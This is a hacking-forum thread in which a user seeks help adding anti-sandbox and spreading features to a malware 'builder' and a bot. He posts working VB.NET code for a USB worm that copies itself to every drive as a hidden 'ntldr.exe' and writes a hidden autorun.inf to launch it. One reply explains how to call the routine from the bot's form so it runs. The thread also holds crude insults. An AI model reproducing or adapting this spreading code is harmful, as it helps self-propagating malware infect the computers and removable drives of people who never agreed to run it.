Thread: [Help - Anti Sandboxie,USB Spread,Lan Spread Builder](#)

iBoNeT - April 8, 2011, 3:56 pm

I build my auto-spreader but I don't know how to put anti method. {Builder}

Example :

USB Spread*

Code Imports System.IO

Module usb

Public Sub usb_sp()

Try

Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles

Dim driver() As String = (IO.Directory.GetLogicalDrives)

For Each drivers In driver

If File.Exists(drivers & "ntldr.exe") = False Then

File.Copy(System.Reflection.Assembly. _

GetExecutingAssembly.Location, drivers & "ntldr.exe")

End If

Dim autorunwriter = New StreamWriter(drivers & "autorun.inf")

autorunwriter.WriteLine("[autorun]")

autorunwriter.WriteLine("open = ntldr.exe")

autorunwriter.WriteLine("shellexecute=ntldr.exe")

autorunwriter.Close()

File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)

File.SetAttributes(drivers & "ntldr.exe", FileAttributes.Hidden)

Next

Catch ex As Exception

End Try

End Sub

End Module

Thank you in advance.

Because you don't know how to code in the first place.

It's not me who made this code. {USB Spread} ;)

Well then congratulations on admitting you leached.

iBoNeT - April 8, 2011, 4:05 pm

You have not understood that it is an example.

I did a paper glued to one example. I will not coded for example.

Hell Guardian - April 8, 2011, 4:39 pm

I advice you to learn the basics first then search for Builder/Stub Basics and how to move settings from a builder to stub

N3oNight - April 8, 2011, 8:36 pm

Just Call the sub... on forum_load

Example:-

call usb_sp()

iBoNeT - April 8, 2011, 9:21 pm

But its going to put it in my bot or my "form1.vb"?

You flame in a unnecessary amount. It annoys me....

Any ways who gives a shit if he leeches

I do. I'm way to lazy at the moment to explain to you why, but I have good reasons.

Ingenuity - April 9, 2011, 11:26 am

I'll second that. If you leech/directly c&p without credits you deserve to have your nuts chopped off and fed to the nearest non-human carnivorous creature...

Edit: No shit sherlock it doesn't answer your question...

It should go in form1.vb assuming that's where you want to execute it.... it's your choice... if you don't understand it then I'd suggest doing something MUCH easier...

iBoNeT - April 9, 2011, 12:04 pm

This does not answer to my question.
